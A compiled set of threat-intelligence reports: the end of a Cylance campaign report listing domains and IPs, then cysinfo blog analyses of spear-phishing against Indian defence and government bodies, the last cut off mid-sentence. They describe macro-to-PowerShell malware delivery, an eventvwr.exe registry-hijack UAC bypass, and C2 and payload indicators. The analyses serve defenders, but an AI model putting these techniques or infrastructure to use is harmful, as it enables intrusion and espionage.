images.tyoto-go-jp(dot)com interpreter.shenajou(dot)com james.tffghelth(dot)com kawasaki.cloud-maste(dot)com kawasaki.unhamj(dot)com kennedy.tffghelth(dot)com lennon.fftpoor(dot)com license.shenajou(dot)com lion.wchildress(dot)com lizard.poulsenv(dot)com malcolm.fftpoor(dot)com ms.ecc.u-tokyo-ac-jp(dot)com msn.incloud-go(dot)com sakai.unhamj(dot)com sappore.cloud-maste(dot)com sapporo.cloud-maste(dot)com scorpion.poulsenv(dot)com shrimp.bdoncloud(dot)com sindeali(dot)com style.u-tokyo-ac-jp(dot)com trout.belowto(dot)com ukuoka.cloud-maste(dot)com v4.windowsupdate.dedgesuite(dot)net vmmini(dot)com whale.toshste(dot)com windowsupdate.dedgesuite(dot)net windowsupdate.wcwname(dot)com www.cloud-maste(dot)com www.foal.wchildress(dot)com www.fukuoka.cloud-maste(dot)com www.incloud-go(dot)com www.kawasaki.cloud-maste(dot)com www.kawasaki.unhamj(dot)com www.lion.wchildress(dot)com www.msn.incloud-go(dot)com www.sakai.unhamj(dot)com www.sapporo.cloud-maste(dot)com www.unhamj(dot)com www.ut-portal-u-tokyo-ac-jp.tyoto-go-jp(dot)com www.vmmini(dot)com www.wchildress(dot)com www.yahoo.incloud-go(dot)com yahoo.incloud-go(dot)com zebra.bdoncloud(dot)com zebra.incloud-go(dot)com zebra.wthelpdesk(dot)com IP Addresses: 107.181.160.109 109.237.108.202 151.101.100.73 151.236.20.16 158.255.208.170 158.255.208.189 158.255.208.61 160.202.163.79 160.202.163.82 160.202.163.90 160.202.163.91 169.239.128.143 185.117.88.81 185.133.40.63 185.141.25.33 211.110.17.209 31.184.198.23 31.184.198.38 92.242.144.2 Anomalous IP Crossover One of the most perplexing aspects of tracing the infrastructure associated with this particular campaign is that it appeared to lead to a significant number of well-known MenuPass Stone Panda domains. MenuPass is a well-documented CN-APT group, whose roots go back to 2009. The group was first publicly disclosed by FireEye in this report. However, many of those domains were inactive for as long as two years and could have easily been re-registered by another entity looking to obfuscate attribution. As a result, we ve only included recent Dynamic DNS domains that were connected to recently registered infrastructure. A much larger collection of information is available to trusted and interested parties. Please contact us at: deceptionproject (at) Cylance [dot] com. Dynamic DNS IPs: 37.235.52.18 78.153.151.222 175.126.148.111 95.183.52.57 109.237.108.202 109.248.222.85 2016-05-11 2016-05-13 2016-07-14 2016-07-26 2016-12-26 2016-12-27 Dynamic DNS Domains: blaaaaaaaaaaaa.windowsupdate(dot)3-a.net contract.4mydomain(dot)com contractus.qpoe(dot)com ctdl.windowsupdate.itsaol(dot)com ctldl.microsoftupdate.qhigh(dot)com ctldl.windowsupdate.authorizeddns(dot)org ctldl.windowsupdate.authorizeddns(dot)us ctldl.windowsupdate.dnset(dot)com ctldl.windowsupdate.lflinkup(dot)com ctldl.windowsupdate.x24hr(dot)com download.windowsupdate.authorizeddns(dot)org download.windowsupdate.dnset(dot)com download.windowsupdate.itsaol(dot)com download.windowsupdate.lflinkup(dot)com download.windowsupdate.x24hr(dot)com ea.onmypc(dot)info eu.wha(dot)la feed.jungleheart(dot)com fire.mrface(dot)com fuck.ikwb(dot)com globalnews.wikaba(dot)com helpus.ddns(dot)info home.trickip(dot)org imap.dnset(dot)com ipv4.windowsupdate.3-a(dot)net ipv4.windowsupdate.authorizeddns(dot)org ipv4.windowsupdate.dnset(dot)com ipv4.windowsupdate.fartit(dot)com ipv4.windowsupdate.lflink(dot)com ipv4.windowsupdate.lflinkup(dot)com ipv4.windowsupdate.mylftv(dot)com ipv4.windowsupdate.x24hr(dot)com latestnews.organiccrap(dot)com microsoftmirror.mrbasic(dot)com microsoftmusic.itemdb(dot)com microsoftstore.onmypc(dot)net microsoftupdate.qhigh(dot)com mobile.2waky(dot)com mseupdate.ourhobby(dot)com newsreport.justdied(dot)com nmrx.mrbonus(dot)com outlook.otzo(dot)com referred.gr8domain(dot)biz twx.mynumber(dot)org v4.windowsupdate.authorizeddns(dot)org v4.windowsupdate.dnset(dot)com v4.windowsupdate.itsaol(dot)com v4.windowsupdate.lflinkup(dot)com v4.windowsupdate.x24hr(dot)com visualstudio.authorizeddns(dot)net windowsupdate.2waky(dot)com windowsupdate.3-a(dot)net windowsupdate.acmetoy(dot)com windowsupdate.authorizeddns(dot)net windowsupdate.authorizeddns(dot)org windowsupdate.dns05(dot)com windowsupdate.dnset(dot)com windowsupdate.esmtp(dot)biz windowsupdate.ezua(dot)com windowsupdate.fartit(dot)com windowsupdate.itsaol(dot)com windowsupdate.lflink(dot)com windowsupdate.mrface(dot)com windowsupdate.mylftv(dot)com windowsupdate.x24hr(dot)com www.contractus.qpoe(dot)com www.feed.jungleheart(dot)com www.helpus.ddns(dot)info www.latestnews.organiccrap(dot)com www.microsoftmirror.mrbasic(dot)com www.microsoftmusic.itemdb(dot)com www.microsoftstore.onmypc(dot)net www.mobile.2waky(dot)com www.mseupdate.ourhobby(dot)com www.nmrx.mrbonus(dot)com www.twx.mynumber(dot)org www.visualstudio.authorizeddns(dot)net www.windowsupdate.acmetoy(dot)com www.windowsupdate.authorizeddns(dot)net www.windowsupdate.authorizeddns(dot)org www.windowsupdate.dnset(dot)com www.windowsupdate.itsaol(dot)com www.windowsupdate.x24hr(dot)com www2.qpoe(dot)com www2.zyns(dot)com www2.zzux(dot)com Conclusion The Snake Wine group has proven to be highly adaptable and has continued to adopt new tactics in order to establish footholds inside victim environments. The exclusive interest in Japanese government, education, and commerce will likely continue into the future as the group is just starting to build and utilize their existing current attack infrastructure. If the past is an accurate indicator, attacks will continue to escalate in both skill and intensity as the attackers implement new tactics in response to defenders acting on previously released information. Perhaps the most interesting aspect of the Snake Wine group is the number of techniques used to obscure attribution. Signing the malware with a stolen and subsequently publicly leaked code-signing certificate is sloppy even for well-known CN-APT groups. Also of particular interest from an attribution obfuscation perspective is direct IP crossover with previous Dynamic DNS domains associated with known CN-APT activity. A direct trail was established over a period of years that would lead competent researchers to finger CN operators as responsible for this new activity as well. Although the MenuPass Group used mostly publicly available RATs, they were successful in penetrating a number of high value targets, so it is entirely possible this is indeed a continuation of past activity. However, Cylance does not believe this scenario to be probable, as a significant amount of time has elapsed between the activity sets. Also of particular interest was the use of a domain hosting company that accepts BTC and was previously heavily leveraged by the well-known Russian group APT28. In any case, Cylance hopes to better equip defenders to detect and respond to active threats within their network and enable the broader security community to respond to similar threats. In terms of defending and responding to malware, attribution is rarely important. As new methodologies become more broadly detected, threat actors will continue to embrace alternate and new strategies to continue achieving their objectives. Yara Rules Yara rules for this campaign can be found on GitHub here: https://github.com/CylanceSPEAR/IOCs/blob/master/snake.wine.yar If you use our endpoint protection product, CylancePROTECT , you were already protected from this attack. If you don't have CylancePROTECT, contact us to learn how our AI based solution can predict and prevent unknown and emerging threats. Cyber Attack Targeting Indian Navy s Submarine and Warship Manufacturer cysinfo.com/cyber-attack-targeting-indian-navys-submarine-warship-manufacturer/ 2/10/2017 In my previous blog posts I described attack campaigns targeting Indian government organizations, and Indian Embassies and Ministry of External affairs. In this blog post I describe a new attack campaign where cyber espionage group targeted the users of Mazagon Dock Shipbuilders Limited (also called as ship builder to the nation). Mazagon Dock Shipbuilders Limited (MDL) is a Public Sector Undertaking of Government of India (Ministry of Defence) and it specializes in manufacturing warships and submarines for the Indian Navy. In order to infect the users associated with Mazagon Dock Shipbuilders Limited (MDL), the attackers distributed spear-phishing emails containing malicious excel file which when opened drops a malware capable of spying on infected systems. The email purported to have been sent from legitimate email ids. The attackers spoofed the email id associated with a Spain based equipment manufacturing company Hidrofersa which specializes in designing, manufacturing naval, industrial and mining machinery. Overview of the Malicious Emails On 26th January, 2017 Indian Navy displayed its state-of-the-art stealth guided missile destroyer INS Chennai and the indigenously-made Kalvari class Scorpene submarines at the Republic Day parade showcasing India s military strength and achievements. INS Chennai and Kalvari class submarines were manufactured by Mazagon Dock Shipbuilders Limited (MDL). On 25th January (day before the Republic day) attackers spoofed an email id associated with Hidrofersa a Spain based company which specializes in designing, manufacturing naval, industrial and mining machinery and the email was sent to the users of Mazagon Dock Shipbuilders Limited (MDL). The email attachment contained two malicious excel files (both excel files turned out to be same but used different names). The email was made to look like it was sent by a General service manager of Hidrofersa enquiring about the product delivery schedule. Below screen shot shows the recipients associated with Mazagon Dock Shipbuilders Limited (MDL), this information 1/13 was determined from the Email header. Mazagon Dock Shipbuilders Limited (MDL) is listed as one of clients of Hidrofersa (mentioned in Hidrofersa website) and as per their website Hidrofersa has shipped equipments to Mazagon Dock Shipbuilders Limited (MDL) in the past as shown in the below screen shots. This is probably the reason attackers spoofed the email id of Hidrofersa as it is less likely to trigger any suspicion and there is high chance of recipients opening the attachment as it is coming from a trusted equipment manufacturer (Hidrofersa) . It looks like attackers carefully researched (or they already knew about) the trust relationship between these two companies. From the email it looks like the goal of the attackers was to infect, take control of the systems of users associated with Mazagon Dock Shipbuilders Limited (MDL) and to steal sensitive information (like Product design documents, blueprints, manufacturing processes etc) related to warships and submarines. Analysis of Malicious Excel File When the recipient of the email opens the attached excel file it prompts the user to enable macro content and the excel also contains instruction on how to enable the macros. 2/13 Once the the macro content is enabled, it calls an auto execute function Workbook_Open() which in turn downloads the malware sample and executes on the system. The malicious macro code was reverse engineered to understand its capabilities. The macro code was heavily obfuscated (used obscure variable/function names to make analysis harder) as shown below. The macro also contained lot of junk code, unnecessary comments and variable assignments as shown below. The attackers used this technique to delay, divert and confuse the manual analysis. 3/13 The macro then decodes a string which runs PowerShell script to download malware from a popular university site located in Indonesia as shown below. The attackers probably compromised the university website to host the malware. The technique of hosting malicious code in a university site (legitimate site) has advantages and it is unlikely to trigger any suspicion in security monitoring and also can bypass reputation based devices. The PowerShell script (shown below) drops the downloaded executable in the %TEMP% directory as doc6.exe . It then adds a registry entry for the dropped executable and invokes eventvwr.exe, this is an interesting registry hijack technique which allows the doc6.exe to be executed by eventvwr.exe with high integrity level and also this technique silently bypasses the UAC (user account control). This technique of UAC bypass is mentioned in the blog Fileless UAC Bypass Using eventvwr.exe and Registry Hijacking 4/13 Normally when eventvwr.exe process (which is running as high integrity process) is invoked, it starts mmc.exe which opens eventvwr.msc causing the Event Viewer to be displayed. To start mmc.exe, eventvwr.exe searches this registry key HKCU\Software\Classes\mscfile\shell\open\command looking for mmc.exe before looking at HKCR\mscfile\shell\open\command. In this case since this registry HKCU\Software\Classes\mscfile\shell\open\command was hijacked to contain the entry for doc6.exe , this will cause the eventvwr.exe process to invoke doc6.exe with high integrity level. Below screen shot shows doc6.exe running from the %TEMP% directory The dropped file (doc6.exe) was determined as KeyBase malware. This malware can steal and send sensitive information to the attackers like keystrokes, opened applications, web browsing history, usernames/passwords, upload Desktop screen shots etc. The feature of uploading the Desktop screen shot is notable because if the infected user opens a design or design document related to submarines or warships the screen shot of that can be sent to the attacker. The attackers also hosted multiple samples of KeyBase malware in the compromised university website. Below screen shot shows hashes of 25 samples hosted on the university site. 5/13 Analysis of the Dropped Executable (doc6.exe) The dropped file was analyzed in an isolated environment (without actually allowing it to connect to the c2 server). This section contains the behavioral analysis of the dropped executable Once the dropped file (doc6.exe) is executed the malware copies itself into %AllUsersProfile% directory as Important.exe , In addition to that it also drops two files Mails.txt and Browsers.txt into the same directory as shown below. The malware then creates a registry value for the the dropped file (Important.exe), this ensures that malware is executed every time the system restarts. 6/13 The malware after execution keeps track of the user activity (like applications opened, files opened etc) but does not immediately generate any network traffic, this is to make sure that no network activity is generated during automated/sandbox analysis. After sleeping for a long time malware makes an http connection to the C2 server (command & control server) and sends the tracked user activity to the attacker. The below screen shot shows the communication to the C2 server on port 80. C2 Communication Pattern Once malware makes an http connection after sleeping for a long time, it sends the system information and the tracked activity to the C2 server as http parameters. Below screen shot shows the network communication pattern where the hostname and the machine time is sent to C2 server. Below screen shot shows a network communication pattern where the opened window title was sent to the C2 server, this pattern below indicates that test.txt file was opened with notepad on the infected system. 7/13 Below screen shot shows a network communication pattern indicating a document named secret.docx was opened with Microsoft Word. Below screen shot shows a network communication pattern indicating Internet Explorer was launched on the infected system. Every activity on the infected system is sent to the attacker, this allows the attacker to take further action and also since the open window title is sent to attacker, this lets the attacker know about the documents opened and the tools running on the system or if any analysis tools are used to inspect the malware. C2 Domain Information This section contains the details of the C2 domain (tripleshop[.]id). All the 25 samples hosted on compromised university site was analyzed and it was determined that all these samples also communicated to the C2 domain tripleshop[.]id 8/13 The C2 domain was associated with only one IP address . This IP address is associated with hosting provider in Indonesia as shown in the screen shots below Below screen shot shows the timeline when the IP address was active. The IP was first seen to be active on 18th Jan, 2017 (one week before the spear-phishing mail was sent to the victims). Threat Intelligence Even though attackers tried to make it look like the spear phishing email was sent by an email id associated with Hidrofersa but inspecting the email headers revealed some interesting information. The X-AuthUser in the header below revealed the identity of the sender. The sender is associated with a company named Combined Freight (PVT) Limited (combinedfreight[.]com) 9/13 Combined Freight (PVT) Limited is freight forwarding company which is into ocean & air freight business headquartered in Karachi, Pakistan (as per their website). This company has 4 other offices in Pakistan (Lahore, Islamabad, Sialkot, Faisalabad). Below is the screen shot taken from their website. 10/13 Based on the information mentioned above, It looks like the spoofed email was sent by a user associated with a Pakistan based company Combined Freight (PVT) Limited. Indicators Of Compromise In this case the cyber espionage group targeted Mazagon Dock Shipbuilders Limited (MDL) but it is possible that other defense equipment manufacturers could also be targeted as part of this attack campaign. The indicators associated with this attack are provided so that the organizations (Government, Public, Private organizations, Defense and Defense equipment manufacturers) can use these indicators to detect, remediate and investigate this attack campaign. Below are the indicators Dropped Malware Sample: 08f2fc9cb30b22c765a0ca9433b35a46 Samples hosted on the compromised University site: 6c94b4c7610d278bf8dfc3dbb5ece9ce a81eaed8ae25f5fa5b107cbc6fe6e446 9a708879fd0a03d4089ee343c9254e5b 069629248742f9d762f66568ba7bcec8 6455a43366f4da09429738076e7f289c 34d5a3d6ae3c1836e0577b6f94ee0294 6eee8a69bc40b104931abdd68509df85 01c85dd7d8202765331a5cc818948213 42664aa65c473832a5c0df62c8b38d68 18e7480894149194f2cd17ee40d0ad7b 575b4b449a12f2bed583f2a59485f776 eae013aec7f45661223ea115ee38cc95 33b9c2c2cbecd4a4844057491b02379e bf499821c935e67e0fb606915453a964 42e411bcb48240fb44c48327b81d8c57 efaa8d161bbe6342204ffa5b1b22ed0c 4623d0e188dc225de8dcd494c7802f7f 3cba51905a78bd221a2433ee180111c0 a6e6a131887c0cdbf67569e1320840d8 08f2fc9cb30b22c765a0ca9433b35a46 44b7aaea854a1a3a0addb521eb7c5eb9 11/13 22730ae47acc178c0445c486d16d7ae9 5b5edc209737b6faa3a6d6711fba1648 bf5e7ea70c2dab12100b91d77ca76ff2 34c44c9138a2d4c31391c2cc0b044c02 Network Indicators Associated with C2: tripleshop[.]id 103[.]229[.]74[.]32 C2 Communication Patterns: hxxp://tripleshop[.]id/userfiles/media/pixum/okilo/post.php hxxp://tripleshop[.]id/userfiles/media/pixum/agogo/post.php hxxp://tripleshop[.]id/userfiles/media/pixum/alpha/post.php hxxp://tripleshop[.]id/userfiles/media/pixum/ariri/post.php hxxp://tripleshop[.]id/userfiles/media/pixum/bobby/post.php hxxp://tripleshop[.]id/userfiles/media/pixum/chisom/post.php hxxp://tripleshop[.]id/userfiles/media/pixum/crack/post.php hxxp://tripleshop[.]id/userfiles/media/pixum/declan/post.php hxxp://tripleshop[.]id/userfiles/media/pixum/elber/post.php hxxp://tripleshop[.]id/userfiles/media/pixum/figure/post.php hxxp://tripleshop[.]id/userfiles/media/pixum/henry/post.php hxxp://tripleshop[.]id/userfiles/media/pixum/ike/post.php hxxp://tripleshop[.]id/userfiles/media/pixum/jizzy/post.php hxxp://tripleshop[.]id/userfiles/media/pixum/kcc/post.php hxxp://tripleshop[.]id/userfiles/media/pixum/kc/post.php hxxp://tripleshop[.]id/userfiles/media/pixum/matte/post.php hxxp://tripleshop[.]id/userfiles/media/pixum/nels/post.php hxxp://tripleshop[.]id/userfiles/media/pixum/notes/post.php hxxp://tripleshop[.]id/userfiles/media/pixum/polish/post.php hxxp://tripleshop[.]id/userfiles/media/pixum/turbo/post.php hxxp://tripleshop[.]id/userfiles/media/pixum/whesilo/post.php hxxp://tripleshop[.]id/userfiles/media/pixum/yboss/post.php hxxp://tripleshop[.]id/userfiles/media/pixum/yg/post.php Conclusion Attackers in this case made every attempt to launch a clever attack campaign by spoofing legitimate email ids and using an email theme relevant to the targets. The following factors in this cyber attack suggests the possible involvement of Pakistan state sponsored cyber espionage group to steal the intellectual property such as design/blueprints and manufacturing data related to submarines and warships. Victims/targets chosen (Submarine & Warship manufacturer for Indian Navy) Use of Email theme related to the targets Timing of the spear phishing emails sent to the victims (The day before the Republic Day) Email header information indicating the possible Pakistan connection Use of malware that is capable of spying and uploading screen shots Use of TTP s (tactics, techniques & procedures) similar to the previous campaign The following factors reveal the attackers intention to remain stealthy and the attempt to evade sandbox analysis, manual analysis and security monitoring at both the desktop and network levels. 12/13 Use of obfuscated malicious macro code Use of junk code (to divert the manual analysis) Use of compromised university site to host malicious code (to bypass security monitoring) Use of Silent UAC (user account control) bypass technique Use of Malware that sleeps for long time without generating any network activity (to evade sandbox analysis) Use of hosting provider to host C2 infrastructure Cyber espionage groups will continue targeting defense sectors and defense equipment manufacturers for the following reasons: To steal defense related information and proprietary product information that can provide their sponsoring governments with military and economic advantages. To identify vulnerabilities in the defense technologies to gain advantage over adversary s military capabilities To reduce their research and development costs and produce and sell similar products at lower prices References http://researchcenter.paloaltonetworks.com/2015/06/keybase-keylogger-malware-family-exposed/ http://www.brycampbell.co.uk/new-blog/2015/7/14/keybase-malware http://researchcenter.paloaltonetworks.com/2016/02/keybase-threat-grows-despite-public-takedown-a-picture-isworth-a-thousand-words/ https://www.fireeye.com/current-threats/reports-by-industry/aerospace-threat-intelligence.html Follow us on Twitter: @monnappa22 @cysinfo22 13/13 Uri Terror attack & Kashmir Protest Themed spear phishing emails targeting Indian Embassies and Indian Ministry of external affairs cysinfo.com/uri-terror-attack-spear-phishing-emails-targeting-indian-embassies-and-indian-mea/ 1/19/2017 In my previous blog I posted details of a cyber attack targeting Indian government organizations. This blog post describes another attack campaign where attackers used the Uri terror attack and Kashmir protest themed spear phishing emails to target officials in the Indian Embassies and Indian Ministry of External Affairs (MEA). In order to infect the victims, the attackers distributed spear-phishing emails containing malicious word document which dropped a malware capable of spying on infected systems. The email purported to have been sent from legitimate email ids. The attackers spoofed the email ids associated with Indian Ministry of Home Affairs to send out email to the victims. Attackers also used the name of the top-ranking official associated with Minister of Home affairs in the signature of the email, this is to make it look like the email was sent by a high-ranking Government official associated with Ministry of Home Affairs (MHA). Overview of the Malicious Emails In the The first wave of attack, The attackers spoofed an email id that is associated with Indian Ministry of Home Affairs (MHA) and an email was sent on September 20th, 2016 (just 2 days after the Uri terror attack) to an email id associated with the Indian Embassy in Japan. The email was made to look like as if an investigation report related to Uri terror attack was shared by the MHA official. This email contained a malicious word document (Uri Terror Report.doc) as shown in the below screen shot On Sept 20th,2016 similar Uri Terror report themed email was also sent to an email id connected with Indian embassy in Thailand. This email was later forwarded on Oct 24th,2016 from a spoofed email id which is associated with Thailand Indian embassy to various email recipients connected to the Indian Ministry of External Affairs as shown in the below screen shot. This email also contained the same malicious word document (Uri Terror Report.doc) 1/14 In the second wave of attack slightly different theme was used, this time attackers used the Jammnu & Kashmir protest theme to target the victims. In this case Attackers again spoofed an email id associated with Indian Ministry of Home Affairs and the mail was sent on September 1,2016 to an email id associated Thailand Indian embassy, this email was later forwarded on Oct 24th,2016 from a spoofed email of Thailand Indian embassy to various email recipients connected to the Indian Ministry of External Affairs (MEA). This time the email was made to look like an investigation report related to Jammu & Kashmir protest was shared by the Ministry of Home Affairs Official and the forwarded email was made to look like the report was forwarded by an Ambassador in Thailand Indian embassy to the MEA officials. This email contained a different malicious word document (mha-report.doc) as shown in the below screen shot. From the emails (and the attachments) it looks like the goal of the attackers was to infect and take control of the systems and also to spy on the actions of the Indian Government post the Jammu & Kashmir protest and Uri Terror attack. Analysis of Malicious Word Documents 2/14 When the victim opens the attached word document it prompts the user to enable macro content and both the documents (Uri Terror Report.doc and mha-report.doc) displayed the same content and contained a Show Document button as shown below In case of both the documents (Uri Terror Report.doc and mha-report.doc) the malicious macro code was heavily obfuscated(used obscure variable/function names to make analysis harder) and did not contain any auto execute functions . Malicious activity is trigged only on user interaction, attackers normally use this technique to bypass sandbox/automated analysis. Reverse engineering both the word documents (Uri Terror Report.doc & mhareport.doc) exhibited similar behaviour except the minor difference mentioned below. In case of mha-report.doc the malicious activity triggered only when the show document button was clicked, when this event occurs the macro code calls a subroutine CommandButton1_Click() which in turn calls a malicious obfuscated function (Bulbaknopka()) as shown in the below screen shot. In case of Uri Terror Report.doc the malicious activity triggered when the document was either closed or when the show document button was clicked, when any of these event occurs a malicious obfuscated function (chugnnarabashkoim()) gets called as shown below. 3/14 The malicious macro code first decodes a string which contains a reference to the pastebin url. The macro then decodes a PowerShell script which downloads base64 encoded content from the pastebin url. Below screen shot shows the network traffic generated as a result of macro code executing the PowerShell script. Below screen shot shows the malicious base64 encoded content hosted on that pastebin link. 4/14 The base64 encoded content downloaded from the Pastebin link is then decoded to an executable and dropped on the system. The technique of hosting malicious code in legitimate sites like Pastebin has advantages and it is highly unlikely to trigger any suspicion in security monitoring and also can bypass reputation based devices. Below screen shot shows the file (officeupdate.exe) decoded and dropped on the system. The dropped file was determined as modified version of njRAT trojan. The dropped file ( officeupdate.exe) is then executed by the macro code using the PowerShell script. njRAT is a Remote Access Tool (RAT) used mostly by the actor groups in the middle east. Once infected njRAT communicates to the attacker and allows the attacker to log keystrokes, upload/download files, access victims web camera, audio recording, steal credentials, view victims desktop, open reverse shell etc. The njRAT attacker control 5/14 panel and the features in the attacker control panel is shown in the below screen shot. Analysis of the Dropped Executable (officeupdate.exe) The dropped file was analyzed in an isolated environment (without actually allowing it to connect to the c2 server). This section contains the behavioral analysis of the dropped executable Once the dropped file (officeupdate.exe) is executed the malware drops additional files ( googleupdate.exe, malib.dll and msccvs.dll) into the %AllUsersProfile%\Google directory and then executes the dropped googleupdate.exe The malware then communicates with the C2 server (khanji[.]ddns[.]net) on port 5555 6/14 C2 Communication Pattern Upon execution malware makes a connection to the c2 server on port 5555 and sends the system & operating system information along with some base64 encoded strings to the attacker as shown below. Below is the description of the strings passed in the C2 communication WIN-T9UN4HIIHEC -> is the hostname of the infected system Administrator -> is the username 16-12-04 -> is the infection date No -> Indicates that the system has no camera The below screen shot shows the base64 decoded strings associated with the C2 communication Below is the description of the decoded strings 7/14 1302_E63C5C8F -> is the botID_volume-serial-number Process Hacker [WIN-T9UN4HIIHEC\Administrator]+ -> Reports open window, In my case I was using a tool called Process Hacker, The information on the open window lets the attacker know what tools are running on the system or if analysis tools are used to inspect the malware. C2 Domain Information This section contains the details of the C2 domain (khanji[.]ddns[.]net). Attackers used the DynamicDNS to host the C2 server, this allows the attacker to quickly change the IP address in real time if the malware C2 server infrastructure is unavailable. The C2 domain was associated with multiple IP addresses in past as shown below During the timeline of this cyber attack most of these IP addresses were located in Pakistan and few IP addresses used the hosting provider infrastructure as shown in the screen shot below 8/14 Below screenshot shows the timeline when these IP addresses were active. The C2 domain (khanji[.]ddns[.]net) was also found to be associated with multiple malware samples in the past, Some of these malware samples made connection to pastebin urls upon execution, which is similar to the behavior mentioned previously. 9/14 Threat Intelligence Based on the base64 encoded content posted in the Pastebin, userid associated with the Pastebin post was determined. The same user posted multiple similar posts most of them containing similar base64 encoded content (probably used by the malwares in other campaigns to decode and drop malware executable), these posts were made between July 21st, 2016 to September 30, 2016. Below screen shot shows the posts made by the user, the hits column in the below screen shot gives an idea of number of times the links were visited (probably by the malicious macro code), this can give rough idea of the number of users who are probably infected as a result of opening the malicious document. 10/14 Below screen shot shows one of the post containing base64 encoded data made by the user on Sept 26th,2016 Doing a Google search for the Pastebin userid landed me on a YouTube video posted by an individual demonstrating his modified version of njRAT control panel/builder kit. The Pastebin userid matched with the Email ID mentioned by this individual in the YouTube video description section as shown below. This individual also used a specific keyword in his Skype id, Twitter id, and the YouTube username. This same keyword was also found in the njRAT C2 communication used in this attack as shown below. 11/14 After inspecting the njRAT builder kit it was determined that this individual customized the existing njRAT builder kit to bypass security products. The product information in the builder kit matched with this individual s YouTube username and the YouTube channel. The njRAT used in this cyber attack was built from this builder kit. Based on this information it can be concluded that espionage actors used this individual s modified version of njRAT in this cyber attack. Even though this individual s email id matched with the Pastebin id where base64 encoded malicious code was found, it is hard to say if this individual was or was not involved in this cyber attack. It could be possible that the espionage actors used his public identity as a diversion to mislead and to hide the real identity of the attackers or it is also possible that this individual was hired to carry out the attack. Indicators Of Compromise The indicators are provided below, these indicators can be used by the organizations (Government, Public and Private organizations) to detect and investigate this attack campaign. Dropped Malware Samples: 14b9d54f07f3facf1240c5ba89aa2410 (googleupdate.exe) 2b0bd7e43c1f98f9db804011a54c11d6 (malib.dll) feec4b571756e8c015c884cb5441166b (msccvs.dll) 84d9d0524e14d9ab5f88bbce6d2d2582 (officeupdate.exe) Network Indicators Associated with C2: 12/14 khanji[.]ddns[.]net 139[.]190[.]6[.]180 39[.]40[.]141[.]25 175[.]110[.]165[.]110 39[.]40[.]44[.]245 39[.]40[.]67[.]219 119[.]160[.]68[.]178 175[.]107[.]13[.]215 39[.]47[.]125[.]110 175[.]107[.]5[.]247 175[.]107[.]6[.]174 182[.]191[.]90[.]91 175[.]107[.]7[.]50 182[.]191[.]90[.]92 175[.]107[.]7[.]69 39[.]47[.]84[.]127 192[.]169[.]136[.]121 155[.]254[.]225[.]24 203[.]31[.]216[.]214 45[.]42[.]243[.]20 Pastebin URL s Hosting Malicious Payload: hxxp://pastebin.com/raw/5j4hc8gT hxxp://pastebin.com/raw/6bwniBtB Related Malware Samples associated with C2 (khanji[.]ddns[.]net): 028caf3b1f5174ae092ecf435c1fccc2 7732d5349a0cfa1c3e4bcfa0c06949e4 9909f8558209449348a817f297429a48 63698ddbdff5be7d5a7ba7f31d0d592c 7c4e60685203b229a41ae65eba1a0e10 e2112439121f8ba9164668f54ca1c6af 784b6e13f195236304e1c172dcdab51f b0f0350a5c2480d8419d14ec3445b765 9a51db9889d4fd6d02bdb35bd13fb07e 8199667bad5559ee8f04fd6b1a587a75 7ad6aaa107a7616a3dbe8e3babf5d310 Conclusion Attackers in this case made every attempt to launch a clever attack campaign by spoofing legitimate email ids and using an email theme relevant to the targets. The following factors in this cyber attack suggests the possible involvement of Pakistan state sponsored cyber espionage group to mainly spy on India s actions related to these Geo-political events (Uri terror attack and Jammu & Kashmir protests). Victims/targets chosen (Indian Embassy and Indian MEA officals) Use of Email theme related to the Geo-political events that is of interest to the targets Timing of the spear phishing emails sent to the victims Location of the C2 infrastructure Use of malware that is capable of spying on infected systems 13/14 The following factors show the level of sophistication and reveals the attackers intention to remain stealthy and to gain long-term access by evading anti-virus, sandbox and security monitoring at both the desktop and network levels. Use of obfuscated malicious macro code Use of macro code that triggers only on user intervention (to bypass sandbox analysis) Use of legitimate site (Pastebin) to host malicious code (to bypass security monitoring) Use of customized njRAT (capable of evading anti-virus) Use of Dynamic DNS to host C2 infrastructure I would like to thank Brian Rogalski who after reading my previous blog post shared a malicious document which he thought was similar to the document mentioned in my previous blog. This malicious document shared by Brian triggered this investigation and helped me in identifying the related Emails and related documents associated with this cyber attack. References https://www.zscaler.com/blogs/research/njrat-h-worm-variant-infections-continue-rise http://threatgeek.typepad.com/files/fta-1009 njrat-uncovered-1.pdf https://www.eff.org/files/2013/12/28/quantum_of_surveillance4d.pdf https://www.symantec.com/connect/blogs/simple-njrat-fuels-nascent-middle-east-cybercrime-scene Follow us on Twitter: @monnappa22 @cysinfo22 14/14 Cyber Attack Impersonating Identity of Indian Think Tank to Target Central Bureau of Investigation (CBI) and Possibly Indian Army Officials cysinfo.com /cyber-attack-targeting-cbi-and-possibly-indian-army-officials/ 5/11/2017 In my previous blog posts I posted details of cyber attacks targeting Indian Ministry of External Affairs and Indian Navy s Warship and Submarine Manufacturer. This blog post describes another attack campaign where attackers impersonated identity of Indian think tank IDSA (Institute for Defence Studies and Analyses) and sent out spear-phishing emails to target officials of the Central Bureau of Investigation (CBI) and possibly the officials of Indian Army. IDSA (Institute for Defence Studies and Analyses) is an Indian think tank for advanced research in international relations, especially strategic and security issues, and also trains civilian and military officers of the Government of India and deals with objective research and policy relating to all aspects of defense and National security. The Central Bureau of Investigation (CBI) is the domestic intelligence and security service of India and serves as the India s premier investigative and Interpol agency operating under the jurisdiction of the Government of India. In order to infect the victims, the attackers distributed spear-phishing emails containing malicious excel file which when opened dropped a malware capable of downloading additional components and spying on infected systems. To distribute the malicious excel file, the attackers registered a domain which impersonated the identity of most influential Indian think tank IDSA (Institute for Defence Studies and Analyses) and used the email id from the impersonating domain to send out the spear-phishing emails to the victims. Overview of the Malicious Emails In the first wave of attack, The attackers sent out spear-phishing emails containing malicious excel file (Case Detail of Suspected abuser.xls) to an unit of Central Bureau of Investigation (CBI) on February 21st, 2017 and the email was sent from an email id associated with an impersonating domain idsadesk[.]in. To lure the victims to open the malicious attachment the email subject relevant to the victims were chosen and to avoid suspicion the email was made to look like it was sent by a person associated with IDSA asking to take action against a pending case as shown in the screen shot below. 1/33 In the second wave of attack, a spear-phishing email containing a different malicious excel file (Contact List of attendees.xls) was sent to an email id on the same day February 21st, 2017. The email was made to look like a person associated with IDSA is asking to confirm the phone number of an attendee in the attendee list. When the victim opens the attached excel file it drops the malware and displays a decoy excel sheet containing the list of names, which seems be the names of senior army officers. Even though the identity of the recipient email could not be fully verified as this email id is nowhere available on the internet but based on the format of the recipient email id and from the list of attendees that is displayed to the victim in the decoy excel file, the recipient email could be possibly be associated with either the Indian Army or a Government entity. This suggests that attackers had prior knowledge of the recipient email id through other means. In both the cases when the victims opens the attached 